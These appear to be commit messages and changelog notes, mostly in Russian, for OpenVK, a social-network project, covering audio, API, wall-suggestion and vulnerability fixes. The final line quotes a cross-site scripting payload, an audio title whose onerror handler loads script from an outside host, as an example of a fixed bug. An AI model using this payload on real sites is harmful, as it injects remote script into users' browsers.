- Исправлено #1278 по идее
- Добавил поле listens в апи (показывается только для своих треков)
- Исправлен старинный баг, связанный с анонимкой (в уведомлении виден
реальный автор)
- Было неправильно добавлять ссылку на "избранное" в навигационное меню,
поэтому она перенесена в настройки на довольно логичное место
- Удалены некоторые импульсивности в коде и некоторые баги ux
---------
Co-authored-by: Alexander Minkin <weryskok@gmail.com>
- Исправлено 500 в плейлистах
- Заметил, что вместо причины бана отображается "подозрительная
активность", вернул показ оригинала сообщения

- Порядок подписчиков в группе идёт теперь от первых подписавшихся (об
этом вроде #1260)
- Удалены лишние методы deleteComment, поскольку есть
wall.deleteComment, временно~ урезано поле "attachments" в некоторых
методах. У фото теперь есть orig_photo
- Исправлена меняющаяся на один пиксель кнопка "воспроизвести" в плеере
в chrome и #1256,
# Аудио
- Добавлена вкладка в аудио "загруженное" которую я забыл добавить в
октябре 2023. Она показывает загруженные аудио в порядке возрастания.
Есть так же идеи для вкладок "недавно прослушанное" и "ваши друзья
слушают" (последняя добавит иммерсивности, или как это называется,
персональности на сайт, хотя по факту она просто соберёт id всех друзей
и выдаст их недавние добавления в коллекцию), но тогда будет
нагромождение вкладок и придётся какое то сворачивание добавлять.
- Если аудио больше 10 и ты на странице аудио, то показывается мелкая
кнопка в правом нижнем углу которая развернёт счётчик и пагинатор.
- Если аудио обрабатывается (processed как я назвал в css) то появится
кнопка "всё равно хочу воспроизвести".
- При переключении трека меняется заголовок вкладки
- Если ты вызвал контекстное меню но оно ушло за экран, то оно будет
повыше.
# Уязвимости
- Убрана уязвимость в audio api что можно было посмотреть айди владельца
удалённого аудио. В целом непонятно использование id в тексте ошибки,
поскольку он не должен изменятся и быть обобщённым, по типу access to
audio denied. Но да ладно, коду три года всё таки.
- Удалённый контент заменяется "[deleted]" в /fave. Я бы на самом деле
не добавлял это, но меня испугал последний абзац fixed#1258 поэтому
добавил.
Sometimes dialogue boxes get too long and end up going off the screen, making the content impossible to see. This change fixes that by allowing the dialogue content to scroll. It also removes some height restrictions from the header and action sections since they didn’t seem to serve a clear purpose (to me) and might have been causing layout issues.
* Make audio player pizdatey
* Simple ajax routing (scripts are broken)
* Fix most common script problems pt1
* Add ajax player
Осталось пофиксить скрипты и создание плейлистов! Ну и ещё некоторые хуйни по аудиозаписям которые я задумал.
* Add context menu for audios
* Refactor audio upload page
* Repair playlists
* Fix main problems
* Midnight teme adaptation
* Stupid bug fix
* Save audios list in da localstorage and fix msgbox
* Fix time setting
* add beforeUnload event
* Stupid bugs fix
* update page footer on transition
* fix wall publihing
* fix 500 on non existent page
* Chopin
- Полностью переписана та часть где про источник поста
- Исправлен метод video.search
- Сокращено число запросов в БД у шаблона поста
- Удалена ссылка на прикреплятор заметок потому что low quality
- Исправлен баг с прикреплённой заметкой в api, но только если ты указал версию.
- Исправлены проблемы с кешированными спрайтшитами
* Chopin 2
* search: a bit refactor
* search: a bit refactor 2
* audios: a bit changes
* results highlight, midnight changes, player insear
* add audio download button, simplify css
* upload page changes, add playlist add menu
* -comments search, arrow keys on tips
* move $query var and optimize users/groups.search
го рофлить
* слегка проебался
* feat(profiles): add ability to crop avatar
Closes#1068 and maybe slash 106
* add ability to take avatar photo from camera
почему бы и нет
---------
Co-authored-by: lalka2018 <99399973+lalka2016@users.noreply.github.com>
Co-authored-by: celestora <kitsuruko@gmail.com>
* Wall: add early suggestions
* Fix br
* Fix empty posts
* fck
* Add offset for api
* Add notifications of new suggestion posts
* Fix mentions in suggested posts
* 🤮🤢
* Change regex
Теперь оно удаляет все теги а не только <br>
* Add da koroche pohuy
* Эдд апи метходс
Методы нестандартные немного
* Pon
* Add skloneniyia
* newlines
* int
* Update loaders and add avtopodgruzka postov
* Update JOERGK.strings
* Blin
* Remove repeated code, fix loaded buttons on chr...
...ome and fix getting suggested posts via API.Wall.getPost
* Fix polls
* Fihes
Теперь уведомление о принятии поста не приходит, если вы приняли свой же пост
Пофикшен баг перехода в предложку
Добавлен старый вид постов в предложке
Теперь счётчик постов в предложке у прикреплённой группы обновляется при принятии или отклонении поста
Убрано всплывающее уведомление об отклонении поста (оно раздражает)
Теперь если вы посмотрели все посты на одной странице (не на первой) и на ней не осталось постов, вас телепортирует на предыдущую страницу
* Remove ability to delete your accepted psto
* oi blin
* Improvements 2 api
* g
* openvk.uk
Возможно, приведение кода к кодстайлу (удаление скобочек то есть)
* aiaks
* al_wall.js -> al_suggestions.js
* 👨💻 Add 👨💻 fading 👨💻
* Add "owner's posts' and "other's posts"
Давайте рофлить👨💻👨💻👨💻
* planshet openvk
Add tabs for post view, add signer's object in wall get and add person icon in microblog
* Simplefai ze kod
* PHP 8 FIX WATAFAK
* Add indesk
- Теперь опросы прикрепляются через апи нормально
- Через wall.edit теперь можно прикреплят новые аудио
- При закрытии messagebox снова включается возможность скроллить
- Через методы редактирования можно теперь прикреплять чужие хуйни
- Удалены методы notes.deleteComment и notes.editComment, ведь они одинаковы с wall.deleteComment и wall.editComment
- Лайки у видеозаписей теперь быстрее, ведь не прогружают новую страницу (в отличии от лайков на посте)
- Название "<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"" больше не вызывает краш оконного плеера